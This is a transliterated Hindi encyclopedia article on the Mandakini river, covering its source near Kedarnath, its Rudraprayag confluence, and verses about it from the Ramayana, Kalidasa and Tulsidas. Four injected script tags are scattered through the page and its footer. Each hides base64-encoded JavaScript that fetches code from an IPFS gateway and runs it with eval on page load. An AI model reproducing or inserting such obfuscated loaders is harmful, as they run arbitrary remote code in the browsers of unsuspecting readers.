मंदाकिनी नदी
thumb|250px|mandakini nadi mandakani bharat ki pavitr nadiyoan mean se ek hai. yah alakananda ki ek sahayak nadi hai. is nadi ka udgam sthan uttarakhand me kedaranath ke nikat hai. mandakani ka srot kedaranath ke nikat charaba di himanad hai. sonaprayag mean yah nadi vasukiganga nadi dvara jalaposhit hoti hai. rudraprayag mean mandakini nadi alakananda mean mil jati hai. usake bad alakananda vahaan se bahati huee devaprayag ki or badhati hai, jahaan bah bhagirathi se milakar ganga nadi ka nirman karati hai.
- valmiki ramayan ayodhya kaand mean isaka kee sthanoan par ullekh hai-
'ayan girishchitrakootastatha mandakini nadi, ekat prakashate doorannilameghanibhanvanamh'; 'ath shailadvinishkamy maithilian koshaleshvar:, adarshayachchhubhajalaan ramyaan mandakini nadimh. vichitr pulinaan ramyaan hansasarasasevitamh kusumairupasanpannaan pashy mandakinian nadimh. nanavidhaistiraruhairvutaan pushpaphalamadrumai: rajanti rajarajasy nalinimiv sarvat:. kvachinh maninikashodaan kvachith pulinashalinimh, kvachitsiddhajanakirn pashy mandakini nadimh. darshanan chitrakootasy madaankinyashch shobhane adhik puravasachch manye tav ch darshanath. sakhovachch vigahasv sote madaankiniannadimh kamalanyavamajjanti pushkarani ch bhamini'.[1]
- shrimadbhagavat[2] mean madaankini ka namollekh is prakar hai-
- 'kaushiki mandakini yamuna.......'.
- kalidas ne raghuvansh[3] mean mandakini ka vimanaroodh ram se (chitrakoot ke nikat) kitana hridayagrahi varnan karavaya hai-
- 'esha prasannastimitapravaha sarid vidooraantarabhavatanvi, mandakini bhati nagopakanthe muktavali kanthagataiv bhoome:'.
[[chitr:Mandakini-River-And-Alakananda-River.jpg|thumb|250px|mandakini nadi aur alakananda nadi ka sangam, rudraprayag]]
- adhyatmaramayan ke ayodhya[4] mean mandakini ko ganga kaha gaya hai-
- 'oochuragre gire: pashchad gangaya uttaratate viviktan ramasadanan ramyan kananamandit'.
- tulasidas ji ne (ramacharitamanas, ayodhya kaand) mean mandakini ko surasari ki dhara kaha hai-
- 'surasari dhar nam mandakini jo sab patak-potak dakini'.
- tulasidas ne mandakini ke sanbandh mean prasiddh pauranik katha ka bhi nirdesh kiya hai jisamean is nadi ko avirrishi ki patni anasooya dvara chitrakoot mean lae jane ka varnan hai-
- 'nadi punit puran bakhani, atripriya nij tapabal ani'.
- mandakini aur payasvini nadiyoan ke sangam par raghavaprayag namak sthan haian.
- arth
mandakini shabd ka arth 'mand-mand bahane vali' hai. isake is vishishti gun ka varnan kalidas ne uparyukt shlok mean 'stimit pravaha' kah kar kiya hai.
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vithika
- chitr:Mandakini-River-3.jpg
mandakini nadi, uttarakhand
- chitr:Mandakini-River-4.jpg
mandakini nadi, uttarakhand
tika tippani aur sandarbh
- ↑ ayodhya 93,8; 95,1-3-4-9-12-14
- ↑ shrimadbhagavat 5,19,18
- ↑ raghuvansh 13,48
- ↑ ayodhya 63
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>